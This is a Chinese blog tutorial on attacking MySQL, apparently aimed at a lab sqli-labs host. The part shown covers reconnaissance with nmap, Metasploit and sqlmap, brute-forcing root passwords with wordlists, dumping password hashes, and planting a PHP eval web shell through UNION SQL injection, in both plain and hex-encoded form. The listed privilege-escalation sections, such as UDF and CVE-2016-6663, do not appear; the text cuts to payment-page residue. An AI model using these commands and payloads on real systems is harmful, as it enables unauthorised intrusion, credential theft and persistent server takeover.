mysql漏洞利用与提权

本文详细介绍了如何利用MySQL的信息收集、密码获取、通过SQL注入写入shell以及多种提权方法,包括UDF提权、启动项提权、反弹端口提权等,并涉及CVE-2016-6663等相关漏洞的利用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

一 、Mysql信息收集

1.使用Nmap进行mysql的信息收集

2.通过msf探测mysql信息

3.使用sqlmap进行sql注入收集mysql版本信息

二、获取mysql密码

1.使用msf模块爆破

2.nmap脚本进行爆破

3.sqlmap的sql-shell查询哈希值

4.从网站泄露的源代码中查找配置文件获取用户名密码

三、通过Mysql向服务器写shell

1.利用联合注入写入shell

2.当sql注入为盲注或者报错注入时,可以使用分隔符写入shell

3.当secure_file_priv为NULL写入shell

四、Mysql提权

1.UDF手动提权

1.1msf下使用UDF提权

2.mysql启动项提权

​2.2 msf启动项提权

3.反弹端口提权

4.CVE-2016-6663提权


一 、Mysql信息收集

1.使用Nmap进行mysql的信息收集

nmap -sC -sV 192.168.0.107 -p3306

或者使用nmap的nse脚本对MySQL进行扫描

└─# ls -lah /usr/share/nmap/scripts/*mysql*
-rw-r--r-- 1 root root 6.5K Oct 12  2020 /usr/share/nmap/scripts/mysql-audit.nse
-rw-r--r-- 1 root root 3.0K Oct 12  2020 /usr/share/nmap/scripts/mysql-brute.nse
-rw-r--r-- 1 root root 2.9K Oct 12  2020 /usr/share/nmap/scripts/mysql-databases.nse
-rw-r--r-- 1 root root 3.2K Oct 12  2020 /usr/share/nmap/scripts/mysql-dump-hashes.nse
-rw-r--r-- 1 root root 2.0K Oct 12  2020 /usr/share/nmap/scripts/mysql-empty-password.nse
-rw-r--r-- 1 root root 3.4K Oct 12  2020 /usr/share/nmap/scripts/mysql-enum.nse
-rw-r--r-- 1 root root 3.4K Oct 12  2020 /usr/share/nmap/scripts/mysql-info.nse
-rw-r--r-- 1 root root 3.7K Oct 12  2020 /usr/share/nmap/scripts/mysql-query.nse
-rw-r--r-- 1 root root 2.8K Oct 12  2020 /usr/share/nmap/scripts/mysql-users.nse
-rw-r--r-- 1 root root 3.2K Oct 12  2020 /usr/share/nmap/scripts/mysql-variables.nse
-rw-r--r-- 1 root root 6.9K Oct 12  2020 /usr/share/nmap/scripts/mysql-vuln-cve2012-2122.nse

nmap --script=mysql-enum 192.168.0.107 -p3306    #枚举mysql用户名,结果不一定准确

2.通过msf探测mysql信息

use auxiliary/scanner/mysql/mysql_authbypass_hashdump
use auxiliary/scanner/mysql/mysql_login
use auxiliary/scanner/mysql/mysql_writable_dirs
use auxiliary/scanner/mysql/mysql_file_enum            
use auxiliary/scanner/mysql/mysql_schemadump           
use auxiliary/scanner/mysql/mysql_hashdump             
use auxiliary/scanner/mysql/mysql_version              

下图以探测mysql版本为例

3.使用sqlmap进行sql注入收集mysql版本信息

sqlmap -u "http://192.168.0.107/sqli/Less-1/?id=1" --batch  --threads 10 -v 3

 

二、获取mysql密码

1.使用msf模块爆破

use auxiliary/scanner/mysql/mysql_login
set username root
set pass_file /usr/share/wordlists/rockyou.txt
set rhosts 192.168.0.107
run

2.nmap脚本进行爆破

nmap -p 3306 --script=mysql-brute.nse userdb=/usr/share/wordlists/user.txt passdb=/usr/share/wordlists/rockyou.txt 192.168.0.107

3.sqlmap的sql-shell查询哈希值

sqlmap -u "http://192.168.0.107/sqli/Less-1/?id=1" --batch  --threads 100 --sql-shell -v 3 
select host, user, password from mysql.user;    #MySQL的用户名密码哈希值保存在mysql库的user表中

# MySQL <= 5.6 版本
mysql> select host, user, password from mysql.user;
# MySQL >= 5.7 版本
mysql > select host,user,authentication_string from mysql.user;

在cmd5网址查询

4.从网站泄露的源代码中查找配置文件获取用户名密码

 

三、通过Mysql向服务器写shell

条件:

  • 存在sql注入漏洞
  • 需要知道网站的web物理路径
  • 当前用户有文件写入权限
  • secure_file_priv 选项支持数据导出
show global variables like "secure_file_priv";
 
secure_file_priv参数用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()传到哪个指定目录。
    secure_file_priv 为 NULL 时,表示限制mysqld不允许导入或导出。
    secure_file_priv 为 /tmp 时,表示限制mysqld只能在/tmp目录中执行导入导出,其他目录不能执行。
    secure_file_priv 没有值时,表示不限制mysqld在任意目录的导入导出。



在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

(1)需要修改mysql配置文件,my.ini最后一行添加secure_file_priv='C:/',重启mysql,再次查询

(2)查看网站的绝对路径

通过phpinfo或者sql报错注入

1.利用联合注入写入shell

http://192.168.0.107/sqli/Less-1/?id=-1' union select 1,2,'<?php @eval($_post["pass"]);?>' into outfile "C:\\Phpsdudy\\PHPTutorial\\WWW\\1.php"--+

或者把php一句话十六进制编码mysql支持hex编码
http://192.168.0.107/sqli/Less-1/?id=-1' union select 1,2,0x3C3F70687020406576616C28245F706F73745B2270617373225D293B3F3E into outfile "C:\\Phpsdudy\\PHPTutorial\\WWW\\2.php"--+
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值